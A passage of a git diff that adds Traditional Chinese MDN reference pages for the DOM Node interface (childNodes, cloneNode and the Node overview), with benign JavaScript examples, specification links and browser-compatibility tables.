+<p><code><strong>Node.childNodes</strong></code> 唯讀屬性會回傳一個<em>即時更新的動態集合（live collection）</em>，其包含了指定元素的子{{domxref("Node","節點")}}，而第一個子節點會被指派為索引 0。</p>
+
+<h2 id="Syntax" name="Syntax">語法</h2>
+
+<pre class="syntaxbox">var <var>ndList</var> = elementNodeReference.childNodes;
+</pre>
+
+<p><var>ndList</var> 是一個 {{domxref("NodeList")}}，為一個有順序性、由目前元素之 DOM 子節點組成之集合。假如目前元素沒有子節點，則 <var>ndList</var> 會是空的。</p>
+
+<p>範例</p>
+
+<pre class="brush:js">// parg is an object reference to a &lt;p&gt; element
+
+// First check that the element has child nodes
+if (parg.hasChildNodes()) {
+  var children = parg.childNodes;
+
+  for (var i = 0; i &lt; children.length; i++) {
+    // do something with each child as children[i]
+    // NOTE: List is live, adding or removing children will change the list
+  }
+}</pre>
+
+<hr>
+<pre class="brush:js">// This is one way to remove all children from a node
+// box is an object reference to an element
+
+while (box.firstChild) {
+    //The list is LIVE so it will re-index each call
+    box.removeChild(box.firstChild);
+}</pre>
+
+<h2 id="Notes" name="Notes">備註</h2>
+
+<p>The items in the collection of nodes are objects and not strings. To get data from node objects, use their properties (e.g. <code>elementNodeReference.childNodes[1].nodeName</code> to get the name, etc.).</p>
+
+<p>The <code>document</code> object itself has 2 children: the Doctype declaration and the root element, typically referred to as <code>documentElement</code>. (In (X)HTML documents this is the <code>HTML</code> element.)</p>
+
+<p><code>childNodes</code> includes all child nodes, including non-element nodes like text and comment nodes. To get a collection of only elements, use {{ domxref("ParentNode.children") }} instead.</p>
+
+<h2 id="Specification" name="Specification">規範</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-1451460987">W3C DOM 2 Core: childNodes</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/2004/REC-DOM-Level-3-Core-20040407/core.html#ID-1451460987">W3C DOM 3 Core: childNodes</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/2004/REC-DOM-Level-3-Core-20040407/core.html#ID-536297177">W3C DOM 3 NodeList interface</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">參見</h2>
+
+<ul>
+ <li>{{ domxref("Node.firstChild") }}</li>
+ <li>{{ domxref("Node.lastChild") }}</li>
+ <li>{{ domxref("Node.nextSibling") }}</li>
+ <li>{{ domxref("Node.previousSibling") }}</li>
+ <li>{{ domxref("ParentNode.children") }}</li>
+</ul>
diff --git a/files/zh-tw/web/api/node/clonenode/index.html b/files/zh-tw/web/api/node/clonenode/index.html
new file mode 100644
index 0000000000..2bd1998650
--- /dev/null
+++ b/files/zh-tw/web/api/node/clonenode/index.html
@@ -0,0 +1,160 @@
+---
+title: Node.cloneNode()
+slug: Web/API/Node/cloneNode
+translation_of: Web/API/Node/cloneNode
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><strong><code>Node.cloneNode()</code></strong> 方法會回傳一個呼叫此方法之節點物件的拷貝。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">var <em><var>dupNode</var></em> = <em><var>node</var></em>.cloneNode(<em><var>deep</var></em>);
+</pre>
+
+<dl>
+ <dt><em>node</em></dt>
+ <dd>The node to be cloned.</dd>
+ <dt><em>dupNode</em></dt>
+ <dd>The new node that will be a clone of <code>node</code></dd>
+ <dt><em>deep {{optional_inline}}</em></dt>
+ <dd><code>true</code> if the children of the node should also be cloned, or <code>false</code> to clone only the specified node.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note:</strong> In the DOM4 specification (as implemented in Gecko 13.0 {{geckoRelease(13)}}), <code>deep</code> is an optional argument. If omitted, the method acts as if the value of <code>deep</code> was <strong><code>true</code></strong>, defaulting to using deep cloning as the default behavior. To create a shallow clone, <code>deep</code> must be set to <code>false</code>.</p>
+
+<p>This behavior has been changed in the latest spec, and if omitted, the method will act as if the value of <code>deep</code> was <strong><code>false</code></strong>. Though It's still optional, you should always provide the <code>deep</code> argument both for backward and forward compatibility. With Gecko 28.0 {{geckoRelease(28)}}), the console warned developers not to omit the argument. Starting with Gecko 29.0 {{geckoRelease(29)}}), a shallow clone is defaulted instead of a deep clone.</p>
+</div>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush: js">var p = document.getElementById("para1");
+var p_prime = p.cloneNode(true);
+</pre>
+
+<h2 id="備註">備註</h2>
+
+<p id="not-event-listeners">Cloning a node copies all of its attributes and their values, including intrinsic (in–line) listeners. It does not copy event listeners added using <a href="/en-US/docs/DOM/element.addEventListener"><code>addEventListener()</code></a> or those assigned to element properties. (e.g. <code>node.onclick = fn</code>) Moreover, for a &lt;canvas&gt; element, the painted image is not copied.</p>
+
+<p>The duplicate node returned by <code>cloneNode()</code> is not part of the document until it is added to another node that is part of the document using {{domxref("Node.appendChild()")}} or a similar method. It also has no parent until it is appended to another node.</p>
+
+<p>If <code>deep</code> is set to <code>false</code>, child nodes are not cloned. Any text that the node contains is not cloned either, as it is contained in one or more child {{domxref("Text")}} nodes.</p>
+
+<p>If <code>deep</code> evaluates to <code>true</code>, the whole subtree (including text that may be in child {{domxref("Text")}} nodes) is copied too. For empty nodes (e.g. {{HTMLElement("img")}} and {{HTMLElement("input")}} elements) it doesn't matter whether <code>deep</code> is set to <code>true</code> or <code>false</code>.</p>
+
+<div class="warning"><strong>Warning:</strong> <code>cloneNode()</code> may lead to duplicate element IDs in a document.</div>
+
+<p>If the original node has an ID and the clone is to be placed in the same document, the ID of the clone should be modified to be unique. Name attributes may need to be modified also, depending on whether duplicate names are expected.</p>
+
+<p>To clone a node for appending to a different document, use {{domxref("Document.importNode()")}} instead.</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-node-clonenode", "Node.cloneNode()")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM3 Core", "core.html#ID-3A0ED0A4", "Node.cloneNode()")}}</td>
+   <td>{{Spec2("DOM3 Core")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Core", "core.html#ID-3A0ED0A4", "Node.cloneNode()")}}</td>
+   <td>{{Spec2("DOM2 Core")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>deep</code> as an optional parameter</td>
+   <td>
+    <p>{{CompatVersionUnknown}}<sup>[1]</sup></p>
+   </td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("13.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>
+    <p>{{CompatVersionUnknown}}<sup>[1]</sup></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>deep</code> as an optional parameter</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("13.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Default value for the <code>deep</code> parameter is <code>false</code>.</p>
diff --git a/files/zh-tw/web/api/node/index.html b/files/zh-tw/web/api/node/index.html
new file mode 100644
index 0000000000..fc04145fce
--- /dev/null
+++ b/files/zh-tw/web/api/node/index.html
@@ -0,0 +1,529 @@
+---
+title: Node
+slug: Web/API/Node
+tags:
+  - API
+  - DOM
+  - DOM Reference
+  - Interface
+  - NeedsTranslation
+  - Node
+  - Reference
+  - TopicStub
+translation_of: Web/API/Node
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><strong><code>Node</code></strong> 是一個被多種 DOM 類型繼承的介面，它讓各種類型的 DOM 都能以同樣的方式來操作。如繼承了相同的方法，或能以相同的方式測試。</p>
+
+<p><code>Node</code> 繼承自 {{domxref("EventTarget")}}，而繼承了 <code>Node</code> 的屬性及方法的介面則有：{{domxref("Document")}}、{{domxref("Element")}}、{{domxref("CharacterData")}}（被 {{domxref("Text")}}、{{domxref("Comment")}} 以及 {{domxref("CDATASection")}} 所繼承）、{{domxref("ProcessingInstruction")}}、{{domxref("DocumentFragment")}}、{{domxref("DocumentType")}}、{{domxref("Notation")}}、{{domxref("Entity")}}、{{domxref("EntityReference")}}。</p>
+
+<p>These interfaces may return null in particular cases where the methods and properties are not relevant. They may throw an exception - for example when adding children to a node type for which no children can exist.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="屬性">屬性</h2>
+
+<p><em>Inherits properties from its parents {{domxref("EventTarget")}}</em>.<sup>[1]</sup></p>
+
+<dl>
+ <dt>{{domxref("Node.baseURI")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} representing the base URL. The concept of base URL changes from one language to another; in HTML, it corresponds to the protocol, the domain name and the directory structure, that is all until the last <code>'/'</code>.</dd>
+ <dt>{{domxref("Node.baseURIObject")}} {{Non-standard_inline()}} {{ Fx_minversion_inline("3") }}</dt>
+ <dd>(Not available to web content.) The read-only {{ Interface("nsIURI") }} object representing the base URI for the element.</dd>
+ <dt>{{domxref("Node.childNodes")}} {{readonlyInline}}</dt>
+ <dd>Returns a live {{domxref("NodeList")}} containing all the children of this node. {{domxref("NodeList")}} being live means that if the children of the <code>Node</code> change, the {{domxref("NodeList")}} object is automatically updated.</dd>
+ <dt>{{domxref("Node.firstChild")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Node")}} representing the first direct child node of the node, or <code>null</code> if the node has no child.</dd>
+ <dt>{{domxref("Node.lastChild")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Node")}} representing the last direct child node of the node, or <code>null</code> if the node has no child.</dd>
+ <dt>{{domxref("Node.nextSibling")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Node")}} representing the next node in the tree, or <code>null</code> if there isn't such node.</dd>
+ <dt>{{domxref("Node.nodeName")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} containing the name of the <code>Node</code>. The structure of the name will differ with the node type. E.g. An {{domxref("HTMLElement")}} will contain the name of the corresponding tag, like <code>'audio'</code> for an {{domxref("HTMLAudioElement")}}, a {{domxref("Text")}} node will have the <code>'#text'</code> string, or a {{domxref("Document")}} node will have the <code>'#document'</code> string.</dd>
+ <dt>{{domxref("Node.nodePrincipal")}} {{Non-standard_inline()}}{{ Fx_minversion_inline("3") }}</dt>
+ <dd>A {{ Interface("nsIPrincipal") }} representing the node principal.</dd>
+ <dt>{{domxref("Node.nodeType")}}{{readonlyInline}}</dt>
+ <dd>Returns an <code>unsigned short</code> representing the type of the node. Possible values are:
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <th scope="col">Name</th>
+    <th scope="col">Value</th>
+   </tr>
+   <tr>
+    <td><code>ELEMENT_NODE</code></td>
+    <td><code>1</code></td>
+   </tr>
+   <tr>
+    <td><code>ATTRIBUTE_NODE</code> {{deprecated_inline()}}</td>
+    <td><code>2</code></td>
+   </tr>
+   <tr>
+    <td><code>TEXT_NODE</code></td>
+    <td><code>3</code></td>
+   </tr>
+   <tr>
+    <td><code>CDATA_SECTION_NODE</code> {{deprecated_inline()}}</td>
+    <td><code>4</code></td>
+   </tr>
+   <tr>
+    <td><code>ENTITY_REFERENCE_NODE</code> {{deprecated_inline()}}</td>
+    <td><code>5</code></td>
+   </tr>
+   <tr>
+    <td><code>ENTITY_NODE</code> {{deprecated_inline()}}</td>
+    <td><code>6</code></td>
+   </tr>
+   <tr>
+    <td><code>PROCESSING_INSTRUCTION_NODE</code></td>
+    <td><code>7</code></td>
+   </tr>
+   <tr>
+    <td><code>COMMENT_NODE</code></td>
+    <td><code>8</code></td>
+   </tr>
+   <tr>
+    <td><code>DOCUMENT_NODE</code></td>
+    <td><code>9</code></td>
+   </tr>
+   <tr>
+    <td><code>DOCUMENT_TYPE_NODE</code></td>
+    <td><code>10</code></td>
+   </tr>
+   <tr>
+    <td><code>DOCUMENT_FRAGMENT_NODE</code></td>
+    <td><code>11</code></td>
+   </tr>
+   <tr>
+    <td><code>NOTATION_NODE</code> {{deprecated_inline()}}</td>
+    <td><code>12</code></td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt>{{domxref("Node.nodeValue")}}</dt>
+ <dd>Returns / Sets the value of the current node</dd>
+ <dt>{{domxref("Node.ownerDocument")}} {{readonlyInline}}</dt>
+ <dd>Returns the {{domxref("Document")}} that this node belongs to. If no document is associated with it, returns <code>null</code>.</dd>
+ <dt>{{domxref("Node.parentNode")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Node")}} that is the parent of this node. If there is no such node, like if this node is the top of the tree or if doesn't participate in a tree, this property returns <code>null</code>.</dd>
+ <dt>{{domxref("Node.parentElement")}} {{readonlyInline}}</dt>
+ <dd>Returns an {{domxref("Element")}} that is the parent of this node. If the node has no parent, or if that parent is not an {{domxref("Element")}}, this property returns <code>null</code>.</dd>
+ <dt>{{domxref("Node.previousSibling")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Node")}} representing the previous node in the tree, or <code>null</code> if there isn't such node.</dd>
+ <dt>{{domxref("Node.textContent")}}</dt>
+ <dd>Returns / Sets the textual content of an element and all its descendants.</dd>
+</dl>
+
+<h3 id="Deprecated_properties">Deprecated properties</h3>
+
+<dl>
+ <dt>{{domxref("Node.rootNode")}} {{readOnlyInline}} {{deprecated_inline}}</dt>
+ <dd>Returns a {{domxref("Node")}} object representing the topmost node in the tree, or the current node if it's the topmost node in the tree. This has been replaced by {{domxref("Node.getRootNode()")}}.</dd>
+</dl>
+
+<h3 id="Obsolete_properties">Obsolete properties</h3>
+
+<dl>
+ <dt>{{domxref("Node.localName")}} {{obsolete_inline}}{{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} representing the local part of the qualified name of an element.
+ <div class="note">
+ <p><strong>Note:</strong> In Firefox 3.5 and earlier, the property upper-cases the local name for HTML elements (but not XHTML elements). In later versions, this does not happen, so the property is in lower case for both HTML and XHTML. {{gecko_minversion_inline("1.9.2")}}</p>
+ </div>
+ </dd>
+ <dt>{{domxref("Node.namespaceURI")}} {{obsolete_inline}}{{readonlyInline}}</dt>
+ <dd>The namespace URI of this node, or <code>null</code> if it is no namespace.
+ <div class="note">
+ <p><strong>Note:</strong> In Firefox 3.5 and earlier, HTML elements are in no namespace. In later versions, HTML elements are in the <code><a class="linkification-ext external" href="https://www.w3.org/1999/xhtml/" title="Linkification: http://www.w3.org/1999/xhtml">https://www.w3.org/1999/xhtml/</a></code> namespace in both HTML and XML trees. {{gecko_minversion_inline("1.9.2")}}</p>
+ </div>
+ </dd>
+ <dt>{{domxref("Node.prefix")}} {{obsolete_inline}}{{readonlyInline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the namespace prefix of the node, or <code>null</code> if no prefix is specified.</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<p><em>Inherits methods from its parent, {{domxref("EventTarget")}}</em>.<sup>[1]</sup></p>
+
+<dl>
+ <dt>{{domxref("Node.appendChild()")}}</dt>
+ <dd>Adds the specified childNode argument as the last child to the current node.<br>
+ If the argument referenced an existing node on the DOM tree, the node will be detached from its current position and attached at the new position.</dd>
+ <dt>{{domxref("Node.cloneNode()")}}</dt>
+ <dd>Clone a {{domxref("Node")}}, and optionally, all of its contents. By default, it clones the content of the node.</dd>
+ <dt>{{domxref("Node.compareDocumentPosition()")}}</dt>
+ <dd>Compares the position of the current node against another node in any other document.</dd>
+ <dt>{{domxref("Node.contains()")}}</dt>
+ <dd>Returns a {{jsxref("Boolean")}} value indicating whether a node is a descendant of a given node or not.</dd>
+ <dt>{{domxref("Node.getRootNode()")}}</dt>
+ <dd>Returns the context object's root which optionally includes the shadow root if it is available.</dd>
+ <dt>{{domxref("Node.hasChildNodes()")}}</dt>
+ <dd>Returns a {{jsxref("Boolean")}} indicating if the element has any child nodes, or not.</dd>
+ <dt>{{domxref("Node.insertBefore()")}}</dt>
+ <dd>Inserts a {{domxref("Node")}} before the reference node as a child of the current node.</dd>
+ <dt>{{domxref("Node.isDefaultNamespace()")}}</dt>
+ <dd>Accepts a namespace URI as an argument and returns a {{jsxref("Boolean")}} with a value of <code>true</code> if the namespace is the default namespace on the given node or <code>false</code> if not.</dd>
+ <dt>{{domxref("Node.isEqualNode()")}}</dt>
+ <dd>Returns a {{jsxref("Boolean")}} which indicates whether or not two nodes are of the same type and all their defining data points match.</dd>
+ <dt>{{domxref("Node.isSameNode()")}}</dt>
+ <dd>Returns a {{jsxref("Boolean")}} value indicating whether or not the two nodes are the same (that is, they reference the same object).</dd>
+ <dt>{{domxref("Node.lookupPrefix()")}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} containing the prefix for a given namespace URI, if present, and <code>null</code> if not. When multiple prefixes are possible, the result is implementation-dependent.</dd>
+ <dt>{{domxref("Node.lookupNamespaceURI()")}}</dt>
+ <dd>Accepts a prefix and returns the namespace URI associated with it on the given node if found (and <code>null</code> if not). Supplying <code>null</code> for the prefix will return the default namespace.</dd>
+ <dt>{{domxref("Node.normalize()")}}</dt>
+ <dd>Clean up all the text nodes under this element (merge adjacent, remove empty).</dd>
+ <dt>{{domxref("Node.removeChild()")}}</dt>
+ <dd>Removes a child node from the current element, which must be a child of the current node.</dd>
+ <dt>{{domxref("Node.replaceChild()")}}</dt>
+ <dd>Replaces one child {{domxref("Node")}} of the current one with the second one given in parameter.</dd>
+</dl>
+
+<h3 id="Obsolete_methods">Obsolete methods</h3>
+
+<dl>
+ <dt>{{domxref("Node.getFeature()")}} {{obsolete_inline}}</dt>
+ <dd>x</dd>
+ <dt>{{domxref("Node.getUserData()")}} {{obsolete_inline}}</dt>
+ <dd>Allows a user to get some {{domxref("DOMUserData")}} from the node.</dd>
+ <dt>{{domxref("Node.hasAttributes()")}} {{obsolete_inline}}</dt>
+ <dd>Returns a {{jsxref("Boolean")}} indicating if the element has any attributes, or not.</dd>
+ <dt>{{domxref("Node.isSupported()")}} {{obsolete_inline}}</dt>
+ <dd>Returns a {{jsxref("Boolean")}} flag containing the result of a test whether the DOM implementation implements a specific feature and this feature is supported by the specific node.</dd>
+ <dt>{{domxref("Node.setUserData()")}} {{obsolete_inline}}</dt>
+ <dd>Allows a user to attach, or remove, {{domxref("DOMUserData")}} to the node.</dd>
+</dl>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="Browse_all_child_nodes">Browse all child nodes</h3>
+
+<p>The following function recursively cycles all child nodes of a node and executes a callback function upon them (and upon the parent node itself).</p>
+
+<pre class="brush: js">function DOMComb (oParent, oCallback) {
+  if (oParent.hasChildNodes()) {
+    for (var oNode = oParent.firstChild; oNode; oNode = oNode.nextSibling) {
+      DOMComb(oNode, oCallback);
+    }
+  }
+  oCallback.call(oParent);
+}</pre>
+
+<h4 id="Syntax">Syntax</h4>
+
+<pre class="syntaxbox">DOMComb(parentNode, callbackFunction);</pre>
+
+<h4 id="Description">Description</h4>
+
+<p>Recursively cycle all child nodes of <code>parentNode</code> and <code>parentNode</code> itself and execute the <code>callbackFunction</code> upon them as <a href="/en-US/docs/JavaScript/Reference/Operators/this" title="en-US/docs/JavaScript/Reference/Operators/this"><code>this</code></a> objects.</p>
+
+<h4 id="Parameters">Parameters</h4>
+
+<dl>
+ <dt><code>parentNode</code></dt>
+ <dd>The parent node (<code><strong>Node</strong> <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object" title="en-US/docs/JavaScript/Reference/Global_Objects/Object">Object</a></code>).</dd>
+ <dt><code>callbackFunction</code></dt>
+ <dd>The callback function (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function" title="en-US/docs/JavaScript/Reference/Global_Objects/Function"><code>Function</code></a>).</dd>
+</dl>
+
+<h4 id="Sample_usage">Sample usage</h4>
+
+<p>The following example send to the <code>console.log</code> the text content of the body:</p>
+
+<pre class="brush: js">function printContent () {
+  if (this.nodeValue) { console.log(this.nodeValue); }
+}
+
+onload = function () {
+  DOMComb(document.body, printContent);
+};</pre>
+
+<h3 id="Remove_all_children_nested_within_a_node">Remove all children nested within a node</h3>
+
+<pre class="brush: js">Element.prototype.removeAll = function () {
+  while (this.firstChild) { this.removeChild(this.firstChild); }
+  return this;
+};</pre>
+
+<h4 id="Sample_usage_2">Sample usage</h4>
+
+<pre class="brush: js">/* ... an alternative to document.body.innerHTML = "" ... */
+document.body.removeAll();</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-node', 'Node')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Removed the following properties: <code>attributes</code>, <code>namespaceURI</code>, <code>prefix</code>, and <code>localName</code>.<br>
+    Removed the following methods: <code>isSupported()</code>, <code>hasAttributes()</code>, <code>getFeature()</code>, <code>setUserData()</code>, and <code>getUserData()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-1950641247', 'Node')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>The methods <code>insertBefore()</code>, <code>replaceChild()</code>, <code>removeChild()</code>, and <code>appendChild()</code> returns one more kind of error (<code>NOT_SUPPORTED_ERR</code>) if called on a {{domxref("Document")}}.<br>
+    The <code>normalize()</code> method has been modified so that {{domxref("Text")}} node can also be normalized if the proper {{domxref("DOMConfiguration")}} flag is set.<br>
+    Added the following methods: <code>compareDocumentPosition()</code>, <code>isSameNode()</code>, <code>lookupPrefix()</code>, <code>isDefaultNamespace()</code>, <code>lookupNamespaceURI()</code>, <code>isEqualNode()</code>, <code>getFeature()</code>, <code>setUserData()</code>, and <code>getUserData().</code><br>
+    Added the following properties: <code>baseURI</code> and <code>textContent</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-1950641247', 'Node')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>The <code>ownerDocument</code> property was slightly modified so that {{domxref("DocumentFragment")}} also returns <code>null</code>.<br>
+    Added the following properties: <code>namespaceURI</code>, <code>prefix</code>, and <code>localName</code>.<br>
+    Added the following methods: <code>normalize()</code>, <code>isSupported()</code> and <code>hasAttributes()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-1950641247', 'Node')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+  </tr>
+  <tr>
+   <td><code>getFeature()</code>{{obsolete_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}<br>
+    {{CompatNo}}{{CompatGeckoDesktop("7.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>getUserData()</code>, <code>setUserData()</code> and <code>hasAttributes()</code> {{deprecated_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}<br>
+    {{CompatNo}}{{CompatGeckoDesktop("22.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>isSameNode()</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}<br>
+    Removed in {{CompatGeckoDesktop("10")}}<br>
+    Returned in {{CompatGeckoDesktop("48")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>isSupported()</code> {{obsolete_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>attributes</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}<br>
+    {{CompatNo}}{{CompatGeckoDesktop("22.0")}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>rootNode()</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>CompatGeckoDesktop(48)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>namespaceURI</code>, <code>localName</code>, <code>prefix</code> {{obsolete_inline}}</td>
+   <td>{{CompatVersionUnknown}}<br>
+    {{CompatNo}}46.0<sup>[3]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<br>
+    {{CompatNo}}48.0<sup>[3]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>getRootNode()</code>, and <code>rootNode</code> deprecated</td>
+   <td>{{CompatChrome(54.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(53)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(41)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+  </tr>
+  <tr>
+   <td><code>getFeature()</code>{{obsolete_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}<br>
+    {{CompatNo}}{{CompatGeckoDesktop("7.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
